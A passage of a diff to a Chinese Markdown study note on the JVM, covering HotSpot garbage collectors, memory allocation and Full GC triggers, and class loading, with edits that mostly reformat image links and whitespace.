+- 串行与并行：串行指的是垃圾收集器与用户程序交替执行，这意味着在执行垃圾收集的时候需要停顿用户程序；并行指的是垃圾收集器和用户程序同时执行。除了 CMS 和 G1 之外，其它垃圾收集器都是以串行的方式执行。
 
-### 1. Serial 收集器
+### 1. Serial 收集器
 
-<img src="index_files/22fda4ae-4dd5-489d-ab10-9ebfdad22ae0.jpg" width=""/>
+<div align="center"> <img src="pics/22fda4ae-4dd5-489d-ab10-9ebfdad22ae0.jpg" width=""/> </div><br>
 
-Serial 翻译为串行，也就是说它以串行的方式执行。
+Serial 翻译为串行，也就是说它以串行的方式执行。
 
 它是单线程的收集器，只会使用一个线程进行垃圾收集工作。
 
-它的优点是简单高效，对于单个 CPU 环境来说，由于没有线程交互的开销，因此拥有最高的单线程收集效率。
+它的优点是简单高效，对于单个 CPU 环境来说，由于没有线程交互的开销，因此拥有最高的单线程收集效率。
 
-它是 Client 模式下的默认新生代收集器，因为在该应用场景下内存一般来说不会很大。Serial 收集器收集几十兆甚至一两百兆的新生代停顿时间可以控制在一百多毫秒以内，只要不是太频繁，这点停顿是可以接受的。
+它是 Client 模式下的默认新生代收集器，因为在该应用场景下内存一般来说不会很大。Serial 收集器收集几十兆甚至一两百兆的新生代停顿时间可以控制在一百多毫秒以内，只要不是太频繁，这点停顿是可以接受的。
 
-### 2. ParNew 收集器
+### 2. ParNew 收集器
 
-<img src="index_files/81538cd5-1bcf-4e31-86e5-e198df1e013b.jpg" width=""/>
+<div align="center"> <img src="pics/81538cd5-1bcf-4e31-86e5-e198df1e013b.jpg" width=""/> </div><br>
 
-它是 Serial 收集器的多线程版本。
+它是 Serial 收集器的多线程版本。
 
-是 Server 模式下首选的新生代收集器，除了性能原因外，主要是因为除了 Serial 收集器，只有它能与 CMS 收集器配合工作。
+是 Server 模式下首选的新生代收集器，除了性能原因外，主要是因为除了 Serial 收集器，只有它能与 CMS 收集器配合工作。
 
-默认开启的线程数量与 CPU 数量相同，可以使用 -XX:ParallelGCThreads 参数来设置线程数。
+默认开启的线程数量与 CPU 数量相同，可以使用 -XX:ParallelGCThreads 参数来设置线程数。
 
-### 3. Parallel Scavenge 收集器
+### 3. Parallel Scavenge 收集器
 
-与 ParNew 一样是多线程收集器。
+与 ParNew 一样是多线程收集器。
 
-其它收集器目标是尽可能缩短垃圾收集时用户线程的停顿时间，而它的目标是达到一个可控制的吞吐量，因此它被称为“吞吐量优先”收集器。这里的吞吐量指 CPU 用于运行用户程序的时间占总时间的比值。
+其它收集器目标是尽可能缩短垃圾收集时用户线程的停顿时间，而它的目标是达到一个可控制的吞吐量，因此它被称为“吞吐量优先”收集器。这里的吞吐量指 CPU 用于运行用户程序的时间占总时间的比值。
 
-停顿时间越短就越适合需要与用户交互的程序，良好的响应速度能提升用户体验。而高吞吐量则可以高效率地利用 CPU 时间，尽快完成程序的运算任务，适合在后台运算而不需要太多交互的任务。
+停顿时间越短就越适合需要与用户交互的程序，良好的响应速度能提升用户体验。而高吞吐量则可以高效率地利用 CPU 时间，尽快完成程序的运算任务，适合在后台运算而不需要太多交互的任务。
 
 缩短停顿时间是以牺牲吞吐量和新生代空间来换取的：新生代空间变小，垃圾回收变得频繁，导致吞吐量下降。
 
-可以通过一个开关参数打开 GC 自适应的调节策略（GC Ergonomics），就不需要手工指定新生代的大小（-Xmn）、Eden 和 Survivor 区的比例、晋升老年代对象年龄等细节参数了。虚拟机会根据当前系统的运行情况收集性能监控信息，动态调整这些参数以提供最合适的停顿时间或者最大的吞吐量。
+可以通过一个开关参数打开 GC 自适应的调节策略（GC Ergonomics），就不需要手工指定新生代的大小（-Xmn）、Eden 和 Survivor 区的比例、晋升老年代对象年龄等细节参数了。虚拟机会根据当前系统的运行情况收集性能监控信息，动态调整这些参数以提供最合适的停顿时间或者最大的吞吐量。
 
-### 4. Serial Old 收集器
+### 4. Serial Old 收集器
 
-<img src="index_files/08f32fd3-f736-4a67-81ca-295b2a7972f2.jpg" width=""/>
+<div align="center"> <img src="pics/08f32fd3-f736-4a67-81ca-295b2a7972f2.jpg" width=""/> </div><br>
 
-是 Serial 收集器的老年代版本，也是给 Client 模式下的虚拟机使用。如果用在 Server 模式下，它有两大用途：
+是 Serial 收集器的老年代版本，也是给 Client 模式下的虚拟机使用。如果用在 Server 模式下，它有两大用途：
 
-- 在 JDK 1.5 以及之前版本（Parallel Old 诞生以前）中与 Parallel Scavenge 收集器搭配使用。
-- 作为 CMS 收集器的后备预案，在并发收集发生 Concurrent Mode Failure 时使用。
+- 在 JDK 1.5 以及之前版本（Parallel Old 诞生以前）中与 Parallel Scavenge 收集器搭配使用。
+- 作为 CMS 收集器的后备预案，在并发收集发生 Concurrent Mode Failure 时使用。
 
-### 5. Parallel Old 收集器
+### 5. Parallel Old 收集器
 
-<img src="index_files/278fe431-af88-4a95-a895-9c3b80117de3.jpg" width=""/>
+<div align="center"> <img src="pics/278fe431-af88-4a95-a895-9c3b80117de3.jpg" width=""/> </div><br>
 
-是 Parallel Scavenge 收集器的老年代版本。
+是 Parallel Scavenge 收集器的老年代版本。
 
-在注重吞吐量以及 CPU 资源敏感的场合，都可以优先考虑 Parallel Scavenge 加 Parallel Old 收集器。
+在注重吞吐量以及 CPU 资源敏感的场合，都可以优先考虑 Parallel Scavenge 加 Parallel Old 收集器。
 
-### 6. CMS 收集器
+### 6. CMS 收集器
 
-<img src="index_files/62e77997-6957-4b68-8d12-bfd609bb2c68.jpg" width=""/>
+<div align="center"> <img src="pics/62e77997-6957-4b68-8d12-bfd609bb2c68.jpg" width=""/> </div><br>
 
-CMS（Concurrent Mark Sweep），Mark Sweep 指的是标记 - 清除算法。
+CMS（Concurrent Mark Sweep），Mark Sweep 指的是标记 - 清除算法。
 
 分为以下四个流程：
 
-- 初始标记：仅仅只是标记一下 GC Roots 能直接关联到的对象，速度很快，需要停顿。
-- 并发标记：进行 GC Roots Tracing 的过程，它在整个回收过程中耗时最长，不需要停顿。
-- 重新标记：为了修正并发标记期间因用户程序继续运作而导致标记产生变动的那一部分对象的标记记录，需要停顿。
-- 并发清除：不需要停顿。
+- 初始标记：仅仅只是标记一下 GC Roots 能直接关联到的对象，速度很快，需要停顿。
+- 并发标记：进行 GC Roots Tracing 的过程，它在整个回收过程中耗时最长，不需要停顿。
+- 重新标记：为了修正并发标记期间因用户程序继续运作而导致标记产生变动的那一部分对象的标记记录，需要停顿。
+- 并发清除：不需要停顿。
 
 在整个过程中耗时最长的并发标记和并发清除过程中，收集器线程都可以与用户线程一起工作，不需要进行停顿。
 
 具有以下缺点：
 
-- 吞吐量低：低停顿时间是以牺牲吞吐量为代价的，导致 CPU 利用率不够高。
-- 无法处理浮动垃圾，可能出现 Concurrent Mode Failure。浮动垃圾是指并发清除阶段由于用户线程继续运行而产生的垃圾，这部分垃圾只能到下一次 GC 时才能进行回收。由于浮动垃圾的存在，因此需要预留出一部分内存，意味着 CMS 收集不能像其它收集器那样等待老年代快满的时候再回收。如果预留的内存不够存放浮动垃圾，就会出现 Concurrent Mode Failure，这时虚拟机将临时启用 Serial Old 来替代 CMS。
-- 标记 - 清除算法导致的空间碎片，往往出现老年代空间剩余，但无法找到足够大连续空间来分配当前对象，不得不提前触发一次 Full GC。
+- 吞吐量低：低停顿时间是以牺牲吞吐量为代价的，导致 CPU 利用率不够高。
+- 无法处理浮动垃圾，可能出现 Concurrent Mode Failure。浮动垃圾是指并发清除阶段由于用户线程继续运行而产生的垃圾，这部分垃圾只能到下一次 GC 时才能进行回收。由于浮动垃圾的存在，因此需要预留出一部分内存，意味着 CMS 收集不能像其它收集器那样等待老年代快满的时候再回收。如果预留的内存不够存放浮动垃圾，就会出现 Concurrent Mode Failure，这时虚拟机将临时启用 Serial Old 来替代 CMS。
+- 标记 - 清除算法导致的空间碎片，往往出现老年代空间剩余，但无法找到足够大连续空间来分配当前对象，不得不提前触发一次 Full GC。
 
-### 7. G1 收集器
+### 7. G1 收集器
 
-G1（Garbage-First），它是一款面向服务端应用的垃圾收集器，在多 CPU 和大内存的场景下有很好的性能。HotSpot 开发团队赋予它的使命是未来可以替换掉 CMS 收集器。
+G1（Garbage-First），它是一款面向服务端应用的垃圾收集器，在多 CPU 和大内存的场景下有很好的性能。HotSpot 开发团队赋予它的使命是未来可以替换掉 CMS 收集器。
 
-堆被分为新生代和老年代，其它收集器进行收集的范围都是整个新生代或者老年代，而 G1 可以直接对新生代和老年代一起回收。
+堆被分为新生代和老年代，其它收集器进行收集的范围都是整个新生代或者老年代，而 G1 可以直接对新生代和老年代一起回收。
 
-<img src="index_files/4cf711a8-7ab2-4152-b85c-d5c226733807.png" width="600"/>
+<div align="center"> <img src="pics/4cf711a8-7ab2-4152-b85c-d5c226733807.png" width="600"/> </div><br>
 
-G1 把堆划分成多个大小相等的独立区域（Region），新生代和老年代不再物理隔离。
+G1 把堆划分成多个大小相等的独立区域（Region），新生代和老年代不再物理隔离。
 
-<img src="index_files/9bbddeeb-e939-41f0-8e8e-2b1a0aa7e0a7.png" width="600"/>
+<div align="center"> <img src="pics/9bbddeeb-e939-41f0-8e8e-2b1a0aa7e0a7.png" width="600"/> </div><br>
 
-通过引入 Region 的概念，从而将原来的一整块内存空间划分成多个的小空间，使得每个小空间可以单独进行垃圾回收。这种划分方法带来了很大的灵活性，使得可预测的停顿时间模型成为可能。通过记录每个 Region 垃圾回收时间以及回收所获得的空间（这两个值是通过过去回收的经验获得），并维护一个优先列表，每次根据允许的收集时间，优先回收价值最大的 Region。
+通过引入 Region 的概念，从而将原来的一整块内存空间划分成多个的小空间，使得每个小空间可以单独进行垃圾回收。这种划分方法带来了很大的灵活性，使得可预测的停顿时间模型成为可能。通过记录每个 Region 垃圾回收时间以及回收所获得的空间（这两个值是通过过去回收的经验获得），并维护一个优先列表，每次根据允许的收集时间，优先回收价值最大的 Region。
 
-每个 Region 都有一个 Remembered Set，用来记录该 Region 对象的引用对象所在的 Region。通过使用 Remembered Set，在做可达性分析的时候就可以避免全堆扫描。
+每个 Region 都有一个 Remembered Set，用来记录该 Region 对象的引用对象所在的 Region。通过使用 Remembered Set，在做可达性分析的时候就可以避免全堆扫描。
 
-<img src="index_files/f99ee771-c56f-47fb-9148-c0036695b5fe.jpg" width=""/>
+<div align="center"> <img src="pics/f99ee771-c56f-47fb-9148-c0036695b5fe.jpg" width=""/> </div><br>
 
-如果不计算维护 Remembered Set 的操作，G1 收集器的运作大致可划分为以下几个步骤：
+如果不计算维护 Remembered Set 的操作，G1 收集器的运作大致可划分为以下几个步骤：
 
-- 初始标记
-- 并发标记
-- 最终标记：为了修正在并发标记期间因用户程序继续运作而导致标记产生变动的那一部分标记记录，虚拟机将这段时间对象变化记录在线程的 Remembered Set Logs 里面，最终标记阶段需要把 Remembered Set Logs 的数据合并到 Remembered Set 中。这阶段需要停顿线程，但是可并行执行。
-- 筛选回收：首先对各个 Region 中的回收价值和成本进行排序，根据用户所期望的 GC 停顿时间来制定回收计划。此阶段其实也可以做到与用户程序一起并发执行，但是因为只回收一部分 Region，时间是用户可控制的，而且停顿用户线程将大幅度提高收集效率。
+- 初始标记
+- 并发标记
+- 最终标记：为了修正在并发标记期间因用户程序继续运作而导致标记产生变动的那一部分标记记录，虚拟机将这段时间对象变化记录在线程的 Remembered Set Logs 里面，最终标记阶段需要把 Remembered Set Logs 的数据合并到 Remembered Set 中。这阶段需要停顿线程，但是可并行执行。
+- 筛选回收：首先对各个 Region 中的回收价值和成本进行排序，根据用户所期望的 GC 停顿时间来制定回收计划。此阶段其实也可以做到与用户程序一起并发执行，但是因为只回收一部分 Region，时间是用户可控制的，而且停顿用户线程将大幅度提高收集效率。
 
 具备如下特点：
 
-- 空间整合：整体来看是基于“标记 - 整理”算法实现的收集器，从局部（两个 Region 之间）上来看是基于“复制”算法实现的，这意味着运行期间不会产生内存空间碎片。
-- 可预测的停顿：能让使用者明确指定在一个长度为 M 毫秒的时间片段内，消耗在 GC 上的时间不得超过 N 毫秒。
+- 空间整合：整体来看是基于“标记 - 整理”算法实现的收集器，从局部（两个 Region 之间）上来看是基于“复制”算法实现的，这意味着运行期间不会产生内存空间碎片。
+- 可预测的停顿：能让使用者明确指定在一个长度为 M 毫秒的时间片段内，消耗在 GC 上的时间不得超过 N 毫秒。
 
-# 三、内存分配与回收策略
+# 三、内存分配与回收策略
 
-## Minor GC 和 Full GC
+## Minor GC 和 Full GC
 
-- Minor GC：回收新生代上，因为新生代对象存活时间很短，因此 Minor GC 会频繁执行，执行的速度一般也会比较快。
+- Minor GC：回收新生代上，因为新生代对象存活时间很短，因此 Minor GC 会频繁执行，执行的速度一般也会比较快。
 
-- Full GC：回收老年代和新生代，老年代对象其存活时间长，因此 Full GC 很少执行，执行速度会比 Minor GC 慢很多。
+- Full GC：回收老年代和新生代，老年代对象其存活时间长，因此 Full GC 很少执行，执行速度会比 Minor GC 慢很多。
 
-## 内存分配策略
+## 内存分配策略
 
-### 1. 对象优先在 Eden 分配
+### 1. 对象优先在 Eden 分配
 
-大多数情况下，对象在新生代 Eden 区分配，当 Eden 区空间不够时，发起 Minor GC。
+大多数情况下，对象在新生代 Eden 区分配，当 Eden 区空间不够时，发起 Minor GC。
 
-### 2. 大对象直接进入老年代
+### 2. 大对象直接进入老年代
 
 大对象是指需要连续内存空间的对象，最典型的大对象是那种很长的字符串以及数组。
 
 经常出现大对象会提前触发垃圾收集以获取足够的连续空间分配给大对象。
 
--XX:PretenureSizeThreshold，大于此值的对象直接在老年代分配，避免在 Eden 区和 Survivor 区之间的大量内存复制。
+-XX:PretenureSizeThreshold，大于此值的对象直接在老年代分配，避免在 Eden 区和 Survivor 区之间的大量内存复制。
 
-### 3. 长期存活的对象进入老年代
+### 3. 长期存活的对象进入老年代
 
-为对象定义年龄计数器，对象在 Eden 出生并经过 Minor GC 依然存活，将移动到 Survivor 中，年龄就增加 1 岁，增加到一定年龄则移动到老年代中。
+为对象定义年龄计数器，对象在 Eden 出生并经过 Minor GC 依然存活，将移动到 Survivor 中，年龄就增加 1 岁，增加到一定年龄则移动到老年代中。
 
--XX:MaxTenuringThreshold 用来定义年龄的阈值。
+-XX:MaxTenuringThreshold 用来定义年龄的阈值。
 
-### 4. 动态对象年龄判定
+### 4. 动态对象年龄判定
 
-虚拟机并不是永远地要求对象的年龄必须达到 MaxTenuringThreshold 才能晋升老年代，如果在 Survivor 中相同年龄所有对象大小的总和大于 Survivor 空间的一半，则年龄大于或等于该年龄的对象可以直接进入老年代，无需等到 MaxTenuringThreshold 中要求的年龄。
+虚拟机并不是永远地要求对象的年龄必须达到 MaxTenuringThreshold 才能晋升老年代，如果在 Survivor 中相同年龄所有对象大小的总和大于 Survivor 空间的一半，则年龄大于或等于该年龄的对象可以直接进入老年代，无需等到 MaxTenuringThreshold 中要求的年龄。
 
-### 5. 空间分配担保
+### 5. 空间分配担保
 
-在发生 Minor GC 之前，虚拟机先检查老年代最大可用的连续空间是否大于新生代所有对象总空间，如果条件成立的话，那么 Minor GC 可以确认是安全的。
+在发生 Minor GC 之前，虚拟机先检查老年代最大可用的连续空间是否大于新生代所有对象总空间，如果条件成立的话，那么 Minor GC 可以确认是安全的。
 
-如果不成立的话虚拟机会查看 HandlePromotionFailure 设置值是否允许担保失败，如果允许那么就会继续检查老年代最大可用的连续空间是否大于历次晋升到老年代对象的平均大小，如果大于，将尝试着进行一次 Minor GC；如果小于，或者 HandlePromotionFailure 设置不允许冒险，那么就要进行一次 Full GC。
+如果不成立的话虚拟机会查看 HandlePromotionFailure 设置值是否允许担保失败，如果允许那么就会继续检查老年代最大可用的连续空间是否大于历次晋升到老年代对象的平均大小，如果大于，将尝试着进行一次 Minor GC；如果小于，或者 HandlePromotionFailure 设置不允许冒险，那么就要进行一次 Full GC。
 
-## Full GC 的触发条件
+## Full GC 的触发条件
 
-对于 Minor GC，其触发条件非常简单，当 Eden 空间满时，就将触发一次 Minor GC。而 Full GC 则相对复杂，有以下条件：
+对于 Minor GC，其触发条件非常简单，当 Eden 空间满时，就将触发一次 Minor GC。而 Full GC 则相对复杂，有以下条件：
 
-### 1. 调用 System.gc()
+### 1. 调用 System.gc()
 
-只是建议虚拟机执行 Full GC，但是虚拟机不一定真正去执行。不建议使用这种方式，而是让虚拟机管理内存。
+只是建议虚拟机执行 Full GC，但是虚拟机不一定真正去执行。不建议使用这种方式，而是让虚拟机管理内存。
 
-### 2. 老年代空间不足
+### 2. 老年代空间不足
 
 老年代空间不足的常见场景为前文所讲的大对象直接进入老年代、长期存活的对象进入老年代等。
 
-为了避免以上原因引起的 Full GC，应当尽量不要创建过大的对象以及数组。除此之外，可以通过 -Xmn 虚拟机参数调大新生代的大小，让对象尽量在新生代被回收掉，不进入老年代。还可以通过 -XX:MaxTenuringThreshold 调大对象进入老年代的年龄，让对象在新生代多存活一段时间。
+为了避免以上原因引起的 Full GC，应当尽量不要创建过大的对象以及数组。除此之外，可以通过 -Xmn 虚拟机参数调大新生代的大小，让对象尽量在新生代被回收掉，不进入老年代。还可以通过 -XX:MaxTenuringThreshold 调大对象进入老年代的年龄，让对象在新生代多存活一段时间。
 
-### 3. 空间分配担保失败
+### 3. 空间分配担保失败
 
-使用复制算法的 Minor GC 需要老年代的内存空间作担保，如果担保失败会执行一次 Full GC。具体内容请参考上面的第五小节。
+使用复制算法的 Minor GC 需要老年代的内存空间作担保，如果担保失败会执行一次 Full GC。具体内容请参考上面的第五小节。
 
-### 4. JDK 1.7 及以前的永久代空间不足
+### 4. JDK 1.7 及以前的永久代空间不足
 
-在 JDK 1.7 及以前，HotSpot 虚拟机中的方法区是用永久代实现的，永久代中存放的为一些 Class 的信息、常量、静态变量等数据。
+在 JDK 1.7 及以前，HotSpot 虚拟机中的方法区是用永久代实现的，永久代中存放的为一些 Class 的信息、常量、静态变量等数据。
 
-当系统中要加载的类、反射的类和调用的方法较多时，永久代可能会被占满，在未配置为采用 CMS GC 的情况下也会执行 Full GC。如果经过 Full GC 仍然回收不了，那么虚拟机会抛出 java.lang.OutOfMemoryError。
+当系统中要加载的类、反射的类和调用的方法较多时，永久代可能会被占满，在未配置为采用 CMS GC 的情况下也会执行 Full GC。如果经过 Full GC 仍然回收不了，那么虚拟机会抛出 java.lang.OutOfMemoryError。
 
-为避免以上原因引起的 Full GC，可采用的方法为增大永久代空间或转为使用 CMS GC。
+为避免以上原因引起的 Full GC，可采用的方法为增大永久代空间或转为使用 CMS GC。
 
-### 5. Concurrent Mode Failure
+### 5. Concurrent Mode Failure
 
-执行 CMS GC 的过程中同时有对象要放入老年代，而此时老年代空间不足（可能是 GC 过程中浮动垃圾过多导致暂时性的空间不足），便会报 Concurrent Mode Failure 错误，并触发 Full GC。
+执行 CMS GC 的过程中同时有对象要放入老年代，而此时老年代空间不足（可能是 GC 过程中浮动垃圾过多导致暂时性的空间不足），便会报 Concurrent Mode Failure 错误，并触发 Full GC。
 
-# 四、类加载机制
+# 四、类加载机制
 
 类是在运行期间第一次使用时动态加载的，而不是一次性加载。因为如果一次性加载，那么会占用很多的内存。
 
-## 类的生命周期
+## 类的生命周期
 
-<img src="index_files/32b8374a-e822-4720-af0b-c0f485095ea2.jpg" width=""/>
+<div align="center"> <img src="pics/32b8374a-e822-4720-af0b-c0f485095ea2.jpg" width=""/> </div><br>
 
-包括以下 7 个阶段：
+包括以下 7 个阶段：
 
-- **加载（Loading）**
-- **验证（Verification）**
-- **准备（Preparation）**
-- **解析（Resolution）**
-- **初始化（Initialization）**
-- 使用（Using）
-- 卸载（Unloading）
+-  **加载（Loading）** 
+-  **验证（Verification）** 
+-  **准备（Preparation）** 
+-  **解析（Resolution）** 
+-  **初始化（Initialization）** 
+- 使用（Using）
+- 卸载（Unloading）
 
-## 类加载过程
+## 类加载过程
 
-包含了加载、验证、准备、解析和初始化这 5 个阶段。
+包含了加载、验证、准备、解析和初始化这 5 个阶段。
 
-### 1. 加载
+### 1. 加载
 
 加载是类加载的一个阶段，注意不要混淆。
 
 加载过程完成以下三件事：
 
-- 通过一个类的全限定名来获取定义此类的二进制字节流。
-- 将这个字节流所代表的静态存储结构转化为方法区的运行时存储结构。
-- 在内存中生成一个代表这个类的 Class 对象，作为方法区这个类的各种数据的访问入口。
+- 通过一个类的全限定名来获取定义此类的二进制字节流。
+- 将这个字节流所代表的静态存储结构转化为方法区的运行时存储结构。
+- 在内存中生成一个代表这个类的 Class 对象，作为方法区这个类的各种数据的访问入口。
 
 其中二进制字节流可以从以下方式中获取：
 
-- 从 ZIP 包读取，成为 JAR、EAR、WAR 格式的基础。
-- 从网络中获取，最典型的应用是 Applet。
-- 运行时计算生成，例如动态代理技术，在 java.lang.reflect.Proxy 使用 ProxyGenerator.generateProxyClass 的代理类的二进制字节流。
-- 由其他文件生成，例如由 JSP 文件生成对应的 Class 类。
+- 从 ZIP 包读取，成为 JAR、EAR、WAR 格式的基础。
+- 从网络中获取，最典型的应用是 Applet。
+- 运行时计算生成，例如动态代理技术，在 java.lang.reflect.Proxy 使用 ProxyGenerator.generateProxyClass 的代理类的二进制字节流。
+- 由其他文件生成，例如由 JSP 文件生成对应的 Class 类。
 
-### 2. 验证
+### 2. 验证
 
-确保 Class 文件的字节流中包含的信息符合当前虚拟机的要求，并且不会危害虚拟机自身的安全。
+确保 Class 文件的字节流中包含的信息符合当前虚拟机的要求，并且不会危害虚拟机自身的安全。
 
-### 3. 准备
+### 3. 准备
 
-类变量是被 static 修饰的变量，准备阶段为类变量分配内存并设置初始值，使用的是方法区的内存。
+类变量是被 static 修饰的变量，准备阶段为类变量分配内存并设置初始值，使用的是方法区的内存。
 
 实例变量不会在这阶段分配内存，它将会在对象实例化时随着对象一起分配在堆中。
 
 注意，实例化不是类加载的一个过程，类加载发生在所有实例化操作之前，并且类加载只进行一次，实例化可以进行多次。
 
-初始值一般为 0 值，例如下面的类变量 value 被初始化为 0 而不是 123。
+初始值一般为 0 值，例如下面的类变量 value 被初始化为 0 而不是 123。
 
 ```java
-public static int value = 123;
+public static int value = 123;
 ```
 
-如果类变量是常量，那么会按照表达式来进行初始化，而不是赋值为 0。
+如果类变量是常量，那么会按照表达式来进行初始化，而不是赋值为 0。
 
 ```java
-public static final int value = 123;
+public static final int value = 123;
 ```
 
-### 4. 解析
+### 4. 解析
 
 将常量池的符号引用替换为直接引用的过程。
 
-其中解析过程在某些情况下可以在初始化阶段之后再开始，这是为了支持 Java 的动态绑定。
+其中解析过程在某些情况下可以在初始化阶段之后再开始，这是为了支持 Java 的动态绑定。
 
-### 5. 初始化
+### 5. 初始化
 
-初始化阶段才真正开始执行类中定义的 Java 程序代码。初始化阶段即虚拟机执行类构造器 &lt;clinit>() 方法的过程。在准备阶段，类变量已经赋过一次系统要求的初始值，而在初始化阶段，根据程序员通过程序制定的主观计划去初始化类变量和其它资源。
+初始化阶段才真正开始执行类中定义的 Java 程序代码。初始化阶段即虚拟机执行类构造器 &lt;clinit>() 方法的过程。在准备阶段，类变量已经赋过一次系统要求的初始值，而在初始化阶段，根据程序员通过程序制定的主观计划去初始化类变量和其它资源。
 
-&lt;clinit>() 是由编译器自动收集类中所有类变量的赋值动作和静态语句块中的语句合并产生的，编译器收集的顺序由语句在源文件中出现的顺序决定。特别注意的是，静态语句块只能访问到定义在它之前的类变量，定义在它之后的类变量只能赋值，不能访问。例如以下代码：
+&lt;clinit>() 是由编译器自动收集类中所有类变量的赋值动作和静态语句块中的语句合并产生的，编译器收集的顺序由语句在源文件中出现的顺序决定。特别注意的是，静态语句块只能访问到定义在它之前的类变量，定义在它之后的类变量只能赋值，不能访问。例如以下代码：
 
 ```java
-public class Test {
-    static {
-        i = 0;                // 给变量赋值可以正常编译通过
-        System.out.print(i);  // 这句编译器会提示“非法向前引用”
-    }
-    static int i = 1;
+public class Test {
+    static {
+        i = 0;                // 给变量赋值可以正常编译通过
+        System.out.print(i);  // 这句编译器会提示“非法向前引用”
+    }
+    static int i = 1;
 }
 ```
 
-由于父类的 &lt;clinit>() 方法先执行，也就意味着父类中定义的静态语句块的执行要优先于子类。例如以下代码：
+由于父类的 &lt;clinit>() 方法先执行，也就意味着父类中定义的静态语句块的执行要优先于子类。例如以下代码：
 
 ```java
-static class Parent {
-    public static int A = 1;
-    static {
-        A = 2;
-    }
+static class Parent {
+    public static int A = 1;
+    static {
+        A = 2;
+    }
 }
 
-static class Sub extends Parent {
-    public static int B = A;
+static class Sub extends Parent {
+    public static int B = A;
 }
 
-public static void main(String[] args) {
-     System.out.println(Sub.B);  // 2
+public static void main(String[] args) {
+     System.out.println(Sub.B);  // 2
 }
 ```
 
-接口中不可以使用静态语句块，但仍然有类变量初始化的赋值操作，因此接口与类一样都会生成 &lt;clinit>() 方法。但接口与类不同的是，执行接口的 &lt;clinit>() 方法不需要先执行父接口的 &lt;clinit>() 方法。只有当父接口中定义的变量使用时，父接口才会初始化。另外，接口的实现类在初始化时也一样不会执行接口的 &lt;clinit>() 方法。
+接口中不可以使用静态语句块，但仍然有类变量初始化的赋值操作，因此接口与类一样都会生成 &lt;clinit>() 方法。但接口与类不同的是，执行接口的 &lt;clinit>() 方法不需要先执行父接口的 &lt;clinit>() 方法。只有当父接口中定义的变量使用时，父接口才会初始化。另外，接口的实现类在初始化时也一样不会执行接口的 &lt;clinit>() 方法。
 
-虚拟机会保证一个类的 &lt;clinit>() 方法在多线程环境下被正确的加锁和同步，如果多个线程同时初始化一个类，只会有一个线程执行这个类的 &lt;clinit>() 方法，其它线程都会阻塞等待，直到活动线程执行 &lt;clinit>() 方法完毕。如果在一个类的 &lt;clinit>() 方法中有耗时的操作，就可能造成多个线程阻塞，在实际过程中此种阻塞很隐蔽。
+虚拟机会保证一个类的 &lt;clinit>() 方法在多线程环境下被正确的加锁和同步，如果多个线程同时初始化一个类，只会有一个线程执行这个类的 &lt;clinit>() 方法，其它线程都会阻塞等待，直到活动线程执行 &lt;clinit>() 方法完毕。如果在一个类的 &lt;clinit>() 方法中有耗时的操作，就可能造成多个线程阻塞，在实际过程中此种阻塞很隐蔽。
 
-## 类初始化时机
+## 类初始化时机
 
-### 1. 主动引用
+### 1. 主动引用
 
 虚拟机规范中并没有强制约束何时进行加载，但是规范严格规定了有且只有下列五种情况必须对类进行初始化（加载、验证、准备都会随之发生）：
 
-- 遇到 new、getstatic、putstatic、invokestatic 这四条字节码指令时，如果类没有进行过初始化，则必须先触发其初始化。最常见的生成这 4 条指令的场景是：使用 new 关键字实例化对象的时候；读取或设置一个类的静态字段（被 final 修饰、已在编译期把结果放入常量池的静态字段除外）的时候；以及调用一个类的静态方法的时候。
+- 遇到 new、getstatic、putstatic、invokestatic 这四条字节码指令时，如果类没有进行过初始化，则必须先触发其初始化。最常见的生成这 4 条指令的场景是：使用 new 关键字实例化对象的时候；读取或设置一个类的静态字段（被 final 修饰、已在编译期把结果放入常量池的静态字段除外）的时候；以及调用一个类的静态方法的时候。
 
-- 使用 java.lang.reflect 包的方法对类进行反射调用的时候，如果类没有进行初始化，则需要先触发其初始化。
+- 使用 java.lang.reflect 包的方法对类进行反射调用的时候，如果类没有进行初始化，则需要先触发其初始化。
 
-- 当初始化一个类的时候，如果发现其父类还没有进行过初始化，则需要先触发其父类的初始化。
+- 当初始化一个类的时候，如果发现其父类还没有进行过初始化，则需要先触发其父类的初始化。
 
-- 当虚拟机启动时，用户需要指定一个要执行的主类（包含 main() 方法的那个类），虚拟机会先初始化这个主类；
+- 当虚拟机启动时，用户需要指定一个要执行的主类（包含 main() 方法的那个类），虚拟机会先初始化这个主类；
 
-- 当使用 JDK 1.7 的动态语言支持时，如果一个 java.lang.invoke.MethodHandle 实例最后的解析结果为 REF_getStatic, REF_putStatic, REF_invokeStatic 的方法句柄，并且这个方法句柄所对应的类没有进行过初始化，则需要先触发其初始化；
+- 当使用 JDK 1.7 的动态语言支持时，如果一个 java.lang.invoke.MethodHandle 实例最后的解析结果为 REF_getStatic, REF_putStatic, REF_invokeStatic 的方法句柄，并且这个方法句柄所对应的类没有进行过初始化，则需要先触发其初始化；
 
-### 2. 被动引用
+### 2. 被动引用
 
-以上 5 种场景中的行为称为对一个类进行主动引用。除此之外，所有引用类的方式都不会触发初始化，称为被动引用。被动引用的常见例子包括：
+以上 5 种场景中的行为称为对一个类进行主动引用。除此之外，所有引用类的方式都不会触发初始化，称为被动引用。被动引用的常见例子包括：
 
-- 通过子类引用父类的静态字段，不会导致子类初始化。
+- 通过子类引用父类的静态字段，不会导致子类初始化。
 
 ```java
-System.out.println(SubClass.value);  // value 字段在 SuperClass 中定义
+System.out.println(SubClass.value);  // value 字段在 SuperClass 中定义
 ```
 
-- 通过数组定义来引用类，不会触发此类的初始化。该过程会对数组类进行初始化，数组类是一个由虚拟机自动生成的、直接继承自 Object 的子类，其中包含了数组的属性和方法。
+- 通过数组定义来引用类，不会触发此类的初始化。该过程会对数组类进行初始化，数组类是一个由虚拟机自动生成的、直接继承自 Object 的子类，其中包含了数组的属性和方法。
 
 ```java
-SuperClass[] sca = new SuperClass[10];
+SuperClass[] sca = new SuperClass[10];
 ```
 
-- 常量在编译阶段会存入调用类的常量池中，本质上并没有直接引用到定义常量的类，因此不会触发定义常量的类的初始化。
+- 常量在编译阶段会存入调用类的常量池中，本质上并没有直接引用到定义常量的类，因此不会触发定义常量的类的初始化。
 
 ```java
 System.out.println(ConstClass.HELLOWORLD);
 ```
 
-## 类与类加载器
+## 类与类加载器
 
 两个类相等需要类本身相等，并且使用同一个类加载器进行加载。这是因为每一个类加载器都拥有一个独立的类名称空间。
 
-这里的相等，包括类的 Class 对象的 equals() 方法、isAssignableFrom() 方法、isInstance() 方法的返回结果为 true，也包括使用 instanceof 关键字做对象所属关系判定结果为 true。
